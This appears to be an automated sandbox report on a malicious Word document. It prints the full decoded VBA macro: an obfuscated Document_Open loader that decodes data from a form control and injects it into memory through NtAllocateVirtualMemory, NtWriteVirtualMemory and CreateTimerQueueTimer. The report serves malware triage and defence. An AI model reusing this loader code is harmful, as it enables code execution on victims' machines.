MALICIOUS
90
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Microsoft Office document containing VBA macros, specifically a Document_Open macro. The ClamAV heuristic identifies it as a dropper, suggesting its primary purpose is to download and execute additional malicious content. While the VBA code is obfuscated, the presence of API declarations for memory allocation and writing, along with the dropper heuristic, strongly indicates a malicious intent to fetch and run a secondary payload. The document body's narrative content appears to be a lure, unrelated to the malicious functionality.
Heuristics 4
-
ClamAV: Doc.Dropper.Agent-6338408-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6338408-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() Dim intersexual As Variant -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 37150 bytes |
SHA-256: 5428c3e39d4e501fcf83019d4c41d8f4b88d6b46c03d6c5c7da6d85dd33e205d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim intersexual As Variant
Dim hyetography As Variant
unpretentiousness = "dawdler"
kittentails = "astrocytic"
avuncular
coelo = 40 + 8
disfigurement = 20980 + 7
adhibition = 587870 + 0
Pmt 0, coelo, 16481, 36653, 8
End Sub
Attribute VB_Name = "gopherus"
' If I woulda just layed my drink down
' And hit me like a hurricane
#If ((18 * 3) - (20 / 5)) > (24 / 6) And (Win64) > (90 - 15 * 6) * 2 Then
' I wouldnt be in my truck
' And hit me like a hurricane' The moon went hiding, stars quit shining
Public Declare PtrSafe Function genitalia Lib "Ntdll.dll " Alias _
"NtAllocateVirtualMemory" (bewitchingly As LongPtr, bene As LongPtr, ByVal effortless As LongPtr, ictonyxByVal As LongPtr, pannikin As LongPtr, ByVal distinctness As LongPtr) As LongPtr
' And walked out
' The moon went hiding, stars quit shining
Public Declare PtrSafe Function ensign Lib "Kernel32" Alias _
"CreateTimerQueueTimer" (saurischia As Any, ByVal strung As Any, ByVal forum As Any, ByVal streets As Any, ByVal aruba As Any, ByVal hellborn As Any, ByVal apartheid As Any) As Long
' And hit me like a hurricane
' And hit me like a hurricane' You wrecked my whole world when you came
Public Declare PtrSafe Function crosstalk Lib "Ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal avowedly As Any, ByVal albumen As Any, ByVal astropogon As Any, ByVal aggrandizement As Any, ByVal dour As Any) As LongPtr
' Hit me like a hurricane
' Baby, without warning
#End If
' And hit me like a hurricane' Driving us to your house
#If ((18 * 3) - (20 / 5)) > (24 / 6) And Not (Win64) > (90 - 15 * 6) * 2 Then
' But just your sight had my heart storming
' But just your sight had my heart storming
Public Declare Function genitalia Lib "Ntdll.dll " Alias _
"NtAllocateVirtualMemory" (phlebotomus As Long, dejeuner As Long, ByVal discouraged As Long, chajaByVal As Long, tendentiously As Long, ByVal attachable As Long) As Long
' Then you rolled in with your hair in the wind
' I was doing alright
Public Declare Function ensign Lib "Kernel32" Alias _
"CreateTimerQueueTimer" (idolatrous As Any, ByVal deviation As Any, ByVal autobiographer As Any, ByVal extrication As Any, ByVal patriarch As Any, ByVal gangrenous As Any, ByVal perithecium As Any) As Long
' Then you rolled in with your hair in the wind
' The moon went hiding, stars quit shining
Public Declare Function crosstalk Lib "Ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal fission As Any, ByVal bitters As Any, ByVal prematureness As Any, ByVal compagination As Any, ByVal bilges As Any) As Long
' Then you rolled in with your hair in the wind
' You wrecked my whole world when you came
Public Declare Function aragon Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal blowing As Any, proctorship As Any, skilly As Any, antifouling As Any) As Long
' But just your sight had my heart storming
' The moon went hiding, stars quit shining
#End If
Attribute VB_Name = "leptodactylus"
Attribute VB_Base = "0{B561C2D5-313D-4B73-9326-29B8460ACA37}{2FB88A8C-084A-4D7B-98CC-FCE0D0AA7F5D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "abodule"
Function contaminated(pistol, polka)
Dim elephant(255) As Byte
restcure = 83 - 47 + 29
Do While restcure <= 90 + 1
elephant(restcure) = restcure - 65
restcure = restcure + 1
Loop
restcure = 48
Do While restcure <= 50 + 8
elephant(restcure) = restcure + 4
restcure = restcure + 1
Loop
restcure = 97
Do While restcure <= 120 + 3
elephant(restcure) = restcure - 71
restcure = restcure + 1
Loop
elephant(47) = 63
restcure = 43
elephant(restcure) = 60 + 2
contaminated = elephant
End Function
Function aperit(detonative)
aperit = AscW(detonative)
End Function
Attribute VB_Name = "Module1"
Function schsfe(puncuality, resuspension, carassius)
If carassius = 47 + (10 / 2 - 5) Then
potolok = puncuality \ resuspension
ElseIf carassius = 57 + (5 - 3) / 2 - 1 Then
potolok = puncuality And resuspension
ElseIf carassius = 65 + (56 / 7 - 4 * 2) Then
potolok = puncuality * resuspension
End If
schsfe = potolok
End Function
' The moon went hiding, stars quit shining
' Rain was driving, thunder, lightning
Function caltrop(inseverable) As String
Dim breadline(6962) As Byte
Dim briefing As Long
Dim impropriety As Long
Dim osutrigger As Long
Dim elief(63) As Long
Dim mantinea As Long
Dim alar() As Byte
Dim achievable(63) As Long
Dim constitution(63) As Long
Dim anguilliform() As Byte
anguilliform = VBA.StrConv(inseverable, 128)
Pmt 0, 100, 8371, 34078, 5
quickscented = vbKeyShift - 12
For desmodus = (20 - 4 * 5) To 7800 + 43
If (desmodus Mod 2 = (5 - 5)) Then
anguilliform(desmodus) = anguilliform(desmodus) - quickscented
ElseIf Not (desmodus Mod 2 = (4 - 4)) Then
anguilliform(desmodus) = anguilliform(desmodus) - (quickscented - 1)
End If
Next desmodus
Pmt 0, 76, 37014, 55110, 4
biplicity = abodule.contaminated(400, 20)
For osutrigger = (7 - 7) * 1 To (50 + 13) * (5 - 4)
achievable(osutrigger) = _
schsfe(osutrigger, _
51 - 73 + 86, _
65)
constitution(osutrigger) = _
schsfe(osutrigger, 112 - 102 + 4086, 65)
elief(osutrigger) = schsfe(osutrigger, 88 - 47 + 262103, 65)
Next osutrigger
Pmt 0, 84, 35877, 21541, 7
alar = anguilliform
Pmt 0, 76, 23498, 15343, 6
accordance = 100 - 56 - 41
giantism = 67 - 40 - 25
For briefing = (4 - 4) To 7800 + 43
bumpy = alar(briefing)
headquarters = alar(briefing + 2)
hilar = constitution(biplicity(alar(briefing + 1)))
dioscorea = achievable(biplicity(headquarters)) + _
biplicity(alar(briefing + accordance))
mantinea = elief(biplicity(bumpy)) + hilar + dioscorea
osutrigger = schsfe(mantinea, 55 - 126 + 16711751, 50 + 7)
breadline(impropriety) = schsfe(osutrigger, 65 - 101 + 65572, 40 + 7)
osutrigger = schsfe(mantinea, 118 - 18 + 65180, 50 + 7)
breadline(impropriety + 1) = schsfe(osutrigger, 35 - 84 + 305, 47)
breadline(impropriety + giantism) = schsfe(mantinea, 94 - 68 + 229, 57)
impropriety = impropriety + giantism + 1
briefing = briefing + 3
Next
caltrop = breadline
End Function
Attribute VB_Name = "Module2"
Function incapable(sapiens)
Dim belligerently As Variant
Dim catwalk As Integer
Dim chaucer As Byte
Dim appositively As Long
#If (6 * 3 + 5) > (7 - 2 * 1) And (48 - 6 * 8) * 2 < (Win64) Then
Dim myxomatosis As Long
Dim sedition As LongPtr
mendacious = 102 - 52 - 42
Dim brimstone As LongPtr
Dim desecration As Byte
Dim modernism As Variant
Dim accouplement As LongPtr
Dim valueless As Byte
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim sedition As Long
mendacious = 118 - 111 - 3
Dim brimstone As Long
Dim accouplement As Long
#End If
nephrolithiasis = VarPtr(sedition)
sermonize = extend(nephrolithiasis, VarPtr(sapiens) + 8, mendacious)
tarahumara = 79 - 106 + 26
brimstone = 25 - 45 + 20
archeologist = 20 - 77 + 57
accouplement = 1 - 72 + 10007
addressed = 52 - 38 + 4082
sarcosome = 53 - 88 + 99
tetonnement = genitalia(ByVal tarahumara, _
brimstone, ByVal archeologist, accouplement, ByVal addressed, _
ByVal sarcosome)
yam = yam
expressionism = "beardless"
extend brimstone, sedition, 124 - 46 + 5805
imbibe = 30 + 1
misunderstood = 39330 + 0
gazebo = 416070 + 1
Pmt 0, imbibe, 11127, 12298, 4
incapable = brimstone
End Function
Function avuncular()
Dim musclebound As String
Dim ranking As Long
leptodactylus.buteonine.Value = Day(#12/5/2013#)
varday = asperous = "monstrous"
disgustedly = humphrey
marginally = geebung
explication = "momentous"
colostrum = calcaneal
donatus = actor
naproxen = "unconscious"
yaffle = "memorial"
Set towith = leptodactylus.buteonine.SelectedItem
anguished = 74
adad = 16881
adynamia = 231668
Pmt 0, anguished, 17696, 54956, 5
cutout = towith.Name
sublineation = 52 - 24 + 7816
acetal = Right(cutout, sublineation)
fagales = Module1.caltrop(acetal)
adult = 60
increment = 34263
acroclinium = 486856
Pmt 0, adult, 3783, 38171, 2
fendre = "astrologer"
wench = "macrocheira"
#If ((18 * 3) - (20 / 5)) > (24 / 6) And (Win64) > (90 - 15 * 6) * 2 Then
Dim sulkiness As Long
Dim nonreciprocating As LongPtr
Dim crossbones As LongPtr
Dim afghani As Integer
Dim carol As String
Dim medley As LongPtr
Dim blather As LongPtr
Dim flageolet As LongPtr
unjustifiable = 74 - 85 + 2075
#End If
#If ((18 * 3) - (20 / 5)) > (24 / 6) And Not (Win64) > (90 - 15 * 6) * 2 Then
Dim de As Variant
Dim crossbones As Long
Dim goodlooking As Byte
Dim nonreciprocating As Long
Dim medley As Long
extinguish = 120 - 90 + 751
Dim blather As Long
Dim flageolet As Long
unjustifiable = extinguish + 3459
#End If
nursing = 10 - 79 + 69
halfholiday = "plaster"
hypovolemia = 114 - 38 + 4020
inshore = 5
exude = 7913
filariid = 572397
Pmt 0, inshore, 22828, 17760, 6
forfend = millettia
corpulence = "changeful"
disdainful = "managed"
indeterminate = 103
mystery = 16919
annex = 300455
Pmt 0, indeterminate, 24790, 33813, 5
epidiascope = fagales
golden = "adultness"
nonreciprocating = incapable(epidiascope)
coryphaenidae = "statistical"
annular = "status"
Dim obduration As String
Dim abattoir As Integer
medley = 8 - 110 + 102
crossbones = nonreciprocating + unjustifiable
blather = 116 - 50 + 201461
flageolet = 105 - 64 + 3459
nazism = ensign(blather, medley, crossbones, medley, medley, medley, medley)
axenic = 24
arctium = 17955
churchill = 492273
Pmt 0, axenic, 25360, 47372, 7
End Function
Attribute VB_Name = "Module3"
Function extend(horsecar, somatic, forewing)
#If ((18 * 3) - (20 / 5)) > (24 / 6) And (Win64) > (90 - 15 * 6) * 2 Then
Dim alca As Byte
Dim ordo As Variant
Dim accused As LongPtr
Dim neurasthenia As LongPtr
Dim monopteral As LongPtr
Dim buganda As Long
Dim afoot As LongPtr
Dim airliner As LongPtr
#End If
#If ((18 * 3) - (20 / 5)) > (24 / 6) And Not (Win64) > (90 - 15 * 6) * 2 Then
Dim neurasthenia As Long
Dim callboard As Integer
Dim accused As Long
Dim snowplow As String
Dim afoot As Long
Dim overtaken As Integer
Dim monopteral As Long
Dim bimonthly As Long
Dim airliner As Long
Dim argosy As Byte
Dim endlessly As String
#End If
elephantus = Math.Round(435)
expressionism = "underling"
neurasthenia = horsecar
airliner = forewing
yam = "frappe"
afoot = somatic
selfworship = 110 + 4
gest = 6360 + 2
ceremony = 404330 + 7
Pmt 0, selfworship, 5176, 35668, 8
expressionism = "caliche"
accused = 33 - 66 + 32
crosstalk ByVal accused, neurasthenia, afoot, airliner, monopteral
expressionism = expressionism
End Function
Attribute VB_Name = "Module4"
' Processing file: /opt/analyzer/scan_staging/795227c2f06b4ac5ace198e81fa6b41d.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 7216 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' FuncDefn (Sub Document_Open())
' Line #5:
' Dim
' VarDefn intersexual (As Variant)
' Line #6:
' Dim
' VarDefn hyetography (As Variant)
' Line #7:
' LitStr 0x0007 "dawdler"
' St unpretentiousness
' Line #8:
' LitStr 0x000A "astrocytic"
' St kittentails
' Line #9:
' ArgsCall avuncular 0x0000
' Line #10:
' LitDI2 0x0028
' LitDI2 0x0008
' Add
' St coelo
' Line #11:
' LitDI2 0x51F4
' LitDI2 0x0007
' Add
' St disfigurement
' Line #12:
' LitDI4 0xF85E 0x0008
' LitDI2 0x0000
' Add
' St adhibition
' Line #13:
' LitDI2 0x0000
' Ld coelo
' LitDI2 0x4061
' LitDI4 0x8F2D 0x0000
' LitDI2 0x0008
' ArgsCall Pmt 0x0005
' Line #14:
' EndSub
' Macros/VBA/gopherus - 11211 bytes
' Line #0:
' QuoteRem 0x0000 0x0026 " If I woulda just layed my drink down"
' Line #1:
' QuoteRem 0x0000 0x001D " And hit me like a hurricane"
' Line #2:
' LbMark
' LitDI2 0x0012
' LitDI2 0x0003
' Mul
' Paren
' LitDI2 0x0014
' LitDI2 0x0005
' Div
' Paren
' Sub
' Paren
' LitDI2 0x0018
' LitDI2 0x0006
' Div
' Paren
' Gt
' Ld Win64
' Paren
' LitDI2 0x005A
' LitDI2 0x000F
' LitDI2 0x0006
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Gt
' And
' LbIf
' Line #3:
' QuoteRem 0x0000 0x001A " I wouldnt be in my truck"
' Line #4:
' QuoteRem 0x0000 0x0048 " And hit me like a hurricane' The moon went hiding, stars quit shining"
' Line #5:
' LineCont 0x0004 08 00 02 00
' FuncDefn (Public Function genitalia(bewitchingly As Ptr) As Ptr)
' Line #6:
' QuoteRem 0x0000 0x0010 " And walked out"
' Line #7:
' QuoteRem 0x0000 0x002A " The moon went hiding, stars quit shining"
' Line #8:
' LineCont 0x0004 08 00 00 00
' FuncDefn (Public Function ensign(saurischia As ) As Long)
' Line #9:
' QuoteRem 0x0000 0x001D " And hit me like a hurricane"
' Line #10:
' QuoteRem 0x0000 0x0048 " And hit me like a hurricane' You wrecked my whole world when you came"
' Line #11:
' FuncDefn (Public Function crosstalk(ByVal ntdll.dll As ) As Ptr)
' Line #12:
' QuoteRem 0x0000 0x0019 " Hit me like a hurricane"
' Line #13:
' QuoteRem 0x0000 0x0017 " Baby, without warning"
' Line #14:
' LbMark
' LbEndIf
' Line #15:
' Line #16:
' QuoteRem 0x0000 0x0038 " And hit me like a hurricane' Driving us to your house"
' Line #17:
' LbMark
' LitDI2 0x0012
' LitDI2 0x0003
' Mul
' Paren
' LitDI2 0x0014
' LitDI2 0x0005
' Div
' Paren
' Sub
' Paren
' LitDI2 0x0018
' LitDI2 0x0006
' Div
' Paren
' Gt
' Ld Win64
' Paren
' LitDI2 0x005A
' LitDI2 0x000F
' LitDI2 0x0006
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Gt
' Not
' And
' LbIf
' Line #18:
' QuoteRem 0x0000 0x002B " But just your sight had my heart storming"
' Line #19:
' QuoteRem 0x0000 0x002B " But just your sight had my heart storming"
' Line #20:
' LineCont 0x0004 00 00 C8 FF
' Reparse 0x00E4 "Public Declare Function genitalia Lib "Ntdll.dll " Alias "NtAllocateVirtualMemory" (phlebotomus As Long, dejeuner As Long, ByVal discouraged As Long, chajaByVal As Long, tendentiously As Long, ByVal attachable As Long) As Long"
' Line #21:
' QuoteRem 0x0000 0x002F " Then you rolled in with your hair in the wind"
' Line #22:
' QuoteRem 0x0000 0x0015 " I was doing alright"
' Line #23:
' LineCont 0x0004 00 00 CD FF
' Reparse 0x0100 "Public Declare Function ensign Lib "Kernel32" Alias"CreateTimerQueueTimer" (idolatrous As Any, ByVal deviation As Any, ByVal autobiographer As Any, ByVal extrication As Any, ByVal patriarch As Any, ByVal gangrenous As Any, ByVal perithecium As Any) As Long"
' Line #24:
' QuoteRem 0x0000 0x002F " Then you rolled in with your hair in the wind"
' Line #25:
' QuoteRem 0x0000 0x002A " The moon went hiding, stars quit shining"
' Line #26:
' Reparse 0x00D3 "Public Declare Function crosstalk Lib "Ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal fission As Any, ByVal bitters As Any, ByVal prematureness As Any, ByVal compagination As Any, ByVal bilges As Any) As Long"
' Line #27:
' QuoteRem 0x0000 0x002F " Then you rolled in with your hair in the wind"
' Line #28:
' QuoteRem 0x0000 0x002A " You wrecked my whole world when you came"
' Line #29:
' Reparse 0x00AA "Public Declare Function aragon Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal blowing As Any, proctorship As Any, skilly As Any, antifouling As Any) As Long"
' Line #30:
' QuoteRem 0x0000 0x002B " But just your sight had my heart storming"
' Line #31:
' QuoteRem 0x0000 0x002A " The moon went hiding, stars quit shining"
' Line #32:
' LbMark
' LbEndIf
' Line #33:
' Line #34:
' Macros/VBA/leptodactylus - 1564 bytes
' Macros/VBA/abodule - 3497 bytes
' Line #0:
' Line #1:
' FuncDefn (Function biplicity(Psmt))
' Line #2:
' Dim
' OptionBase
' LitDI2 0x00FF
' VarDefn dioscorea
' Line #3:
' LitDI2 0x0053
' LitDI2 0x002F
' Sub
' LitDI2 0x001D
' Add
' St elephant
' Line #4:
' Ld elephant
' LitDI2 0x005A
' LitDI2 0x0001
' Add
' Le
' DoWhile
' Line #5:
' Ld elephant
' LitDI2 0x0041
' Sub
' Ld elephant
' ArgsSt dioscorea 0x0001
' Line #6:
' Ld elephant
' LitDI2 0x0001
' Add
' St elephant
' Line #7:
' Loop
' Line #8:
' LitDI2 0x0030
' St elephant
' Line #9:
' Ld elephant
' LitDI2 0x0032
' LitDI2 0x0008
' Add
' Le
' DoWhile
' Line #10:
' Ld elephant
' LitDI2 0x0004
' Add
' Ld elephant
' ArgsSt dioscorea 0x0001
' Line #11:
' Ld elephant
' LitDI2 0x0001
' Add
' St elephant
' Line #12:
' Loop
' Line #13:
' LitDI2 0x0061
' St elephant
' Line #14:
' Ld elephant
' LitDI2 0x0078
' LitDI2 0x0003
' Add
' Le
' DoWhile
' Line #15:
' Ld elephant
' LitDI2 0x0047
' Sub
' Ld elephant
' ArgsSt dioscorea 0x0001
' Line #16:
' Ld elephant
' LitDI2 0x0001
' Add
' St elephant
' Line #17:
' Loop
' Line #18:
' LitDI2 0x003F
' LitDI2 0x002F
' ArgsSt dioscorea 0x0001
' Line #19:
' LitDI2 0x002B
' St elephant
' Line #20:
' LitDI2 0x003C
' LitDI2 0x0002
' Add
' Ld elephant
' ArgsSt dioscorea 0x0001
' Line #21:
' Ld dioscorea
' St biplicity
' Line #22:
' EndFunc
' Line #23:
' Line #24:
' FuncDefn (Function carassius(aperit))
' Line #25:
' Ld aperit
' ArgsLd detonative 0x0001
' St carassius
' Line #26:
' EndFunc
' Line #27:
' Macros/VBA/Module1 - 7841 bytes
' Line #0:
' FuncDefn (Function dd(restcure))
' Line #1:
' Ld resuspension
' LitDI2 0x002F
' LitDI2 0x000A
' LitDI2 0x0002
' Div
' LitDI2 0x0005
' Sub
' Paren
' Add
' Eq
' IfBlock
' Line #2:
' Ld restcure
' Ld puncuality
' IDiv
' St schfe
' Line #3:
' Ld resuspension
' LitDI2 0x0039
' LitDI2 0x0005
' LitDI2 0x0003
' Sub
' Paren
' LitDI2 0x0002
' Div
' Add
' LitDI2 0x0001
' Sub
' Eq
' ElseIfBlock
' Line #4:
' Ld restcure
' Ld puncuality
' And
' St schfe
' Line #5:
' Ld resuspension
' LitDI2 0x0041
' LitDI2 0x0038
' LitDI2 0x0007
' Div
' LitDI2 0x0004
' LitDI2 0x0002
' Mul
' Sub
' Paren
' Add
' Eq
' ElseIfBlock
' Line #6:
' Ld restcure
' Ld puncuality
' Mul
' St schfe
' Line #7:
' EndIfBlock
' Line #8:
' Ld schfe
' St dd
' Line #9:
' EndFunc
' Line #10:
' QuoteRem 0x0000 0x002A " The moon went hiding, stars quit shining"
' Line #11:
' QuoteRem 0x0000 0x0026 " Rain was driving, thunder, lightning"
' Line #12:
' Line #13:
' FuncDefn (Function caltrop(dour) As String)
' Line #14:
' Dim
' OptionBase
' LitDI2 0x1B32
' VarDefn inseverable
' Line #15:
' Dim
' VarDefn agnosticism (As Long)
' Line #16:
' Dim
' VarDefn briefing (As Long)
' Line #17:
' Line #18:
' Dim
' VarDefn Fosr (As Long)
' Line #19:
' Dim
' OptionBase
' LitDI2 0x003F
' VarDefn outrigger
' Line #20:
' Dim
' VarDefn dunderpate (As Long)
' Line #21:
' Dim
' VarDefn mantinea
' Line #22:
' Line #23:
' Dim
' OptionBase
' LitDI2 0x003F
' VarDefn alar
' Line #24:
' Dim
' OptionBase
' LitDI2 0x003F
' VarDefn achievable
' Line #25:
' Line #26:
' Dim
' VarDefn deictic
' Line #27:
' Ld dour
' LitDI2 0x0080
' Ld VBA
' ArgsMemLd massive 0x0002
' St deictic
' Line #28:
' LitDI2 0x0000
' LitDI2 0x0064
' LitDI2 0x20B3
' LitDI4 0x851E 0x0000
' LitDI2 0x0005
' ArgsCall Pmt 0x0005
' Line #29:
' Line #30:
' Ld quickscented
' LitDI2 0x000C
' Sub
' St chanar
' Line #31:
' StartForVariable
' Ld vbKeyShift
' EndForVariable
' LitDI2 0x0014
' LitDI2 0x0004
' LitDI2 0x0005
' Mul
' Sub
' Paren
' LitDI2 0x1E78
' LitDI2 0x002B
' Add
' For
' Line #32:
' Ld vbKeyShift
' LitDI2 0x0002
' Mod
' LitDI2 0x0005
' LitDI2 0x0005
' Sub
' Paren
' Eq
' Paren
' IfBlock
' Line #33:
' Ld vbKeyShift
' ArgsLd deictic 0x0001
' Ld chanar
' Sub
' Ld vbKeyShift
' ArgsSt deictic 0x0001
' Line #34:
' Ld vbKeyShift
' LitDI2 0x0002
' Mod
' LitDI2 0x0004
' LitDI2 0x0004
' Sub
' Paren
' Eq
' Paren
' Not
' ElseIfBlock
' Line #35:
' Ld vbKeyShift
' ArgsLd deictic 0x0001
' Ld chanar
' LitDI2 0x0001
' Sub
' Paren
' Sub
' Ld vbKeyShift
' ArgsSt deictic 0x0001
' Line #36:
' EndIfBlock
' Line #37:
' StartForVariable
' Ld vbKeyShift
' EndForVariable
' NextVar
' Line #38:
' LitDI2 0x0000
' LitDI2 0x004C
' LitDI4 0x9096 0x0000
' LitDI4 0xD746 0x0000
' LitDI2 0x0004
' ArgsCall Pmt 0x0005
' Line #39:
' Line #40:
' LitDI2 0x0190
' LitDI2 0x0014
' Ld Module1
' ArgsMemLd biplicity 0x0002
' St blowfly
' Line #41:
' StartForVariable
' Ld Fosr
' EndForVariable
' LitDI2 0x0007
' LitDI2 0x0007
' Sub
' Paren
' LitDI2 0x0001
' Mul
' LitDI2 0x0032
' LitDI2 0x000D
' Add
' Paren
' LitDI2 0x0005
' LitDI2 0x0004
' Sub
' Paren
' Mul
' For
' Line #42:
' LineCont 0x000C 05 00 00 00 09 00 00 00 0F 00 00 00
' Ld Fosr
' LitDI2 0x0033
' LitDI2 0x0049
' Sub
' LitDI2 0x0056
' Add
' LitDI2 0x0041
' ArgsLd dd 0x0003
' Ld Fosr
' ArgsSt alar 0x0001
' Line #43:
' LineCont 0x0004 05 00 00 00
' Ld Fosr
' LitDI2 0x0070
' LitDI2 0x0066
' Sub
' LitDI2 0x0FF6
' Add
' LitDI2 0x0041
' ArgsLd dd 0x0003
' Ld Fosr
' ArgsSt achievable 0x0001
' Line #44:
' Ld Fosr
' LitDI2 0x0058
' LitDI2 0x002F
' Sub
' LitDI4 0xFFD7 0x0003
' Add
' LitDI2 0x0041
' ArgsLd dd 0x0003
' Ld Fosr
' ArgsSt outrigger 0x0001
' Line #45:
' StartForVariable
' Ld Fosr
' EndForVariable
' NextVar
' Line #46:
' LitDI2 0x0000
' LitDI2 0x0054
' LitDI4 0x8C25 0x0000
' LitDI2 0x5425
' LitDI2 0x0007
' ArgsCall Pmt 0x0005
' Line #47:
' Line #48:
' Ld deictic
' St mantinea
' Line #49:
' LitDI2 0x0000
' LitDI2 0x004C
' LitDI2 0x5BCA
' LitDI2 0x3BEF
' LitDI2 0x0006
' ArgsCall Pmt 0x0005
' Line #50:
' Line #51:
' LitDI2 0x0064
' LitDI2 0x0038
' Sub
' LitDI2 0x0029
' Sub
' St discourteous
' Line #52:
' Line #53:
' LitDI2 0x0043
' LitDI2 0x0028
' Sub
' LitDI2 0x0019
' Sub
' St blessedness
' Line #54:
' StartForVariable
' Ld agnosticism
' EndForVariable
' LitDI2 0x0004
' LitDI2 0x0004
' Sub
' Paren
' LitDI2 0x1E78
' LitDI2 0x002B
' Add
' For
' Line #55:
' Ld agnosticism
' ArgsLd mantinea 0x0001
' St giantism
' Line #56:
' Ld agnosticism
' LitDI2 0x0002
' Add
' ArgsLd mantinea 0x0001
' St bumpy
' Line #57:
' Ld agnosticism
' LitDI2 0x0001
' Add
' ArgsLd mantinea 0x0001
' ArgsLd blowfly 0x0001
' ArgsLd achievable 0x0001
' St headquarters
' Line #58:
' LineCont 0x0004 0A 00 00 00
' Ld bumpy
' ArgsLd blowfly 0x0001
' ArgsLd alar 0x0001
' Ld agnosticism
' Ld discourteous
' Add
' ArgsLd mantinea 0x0001
' ArgsLd blowfly 0x0001
' Add
' St hilar
' Line #59:
' Ld giantism
' ArgsLd blowfly 0x0001
' ArgsLd outrigger 0x0001
' Ld headquarters
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.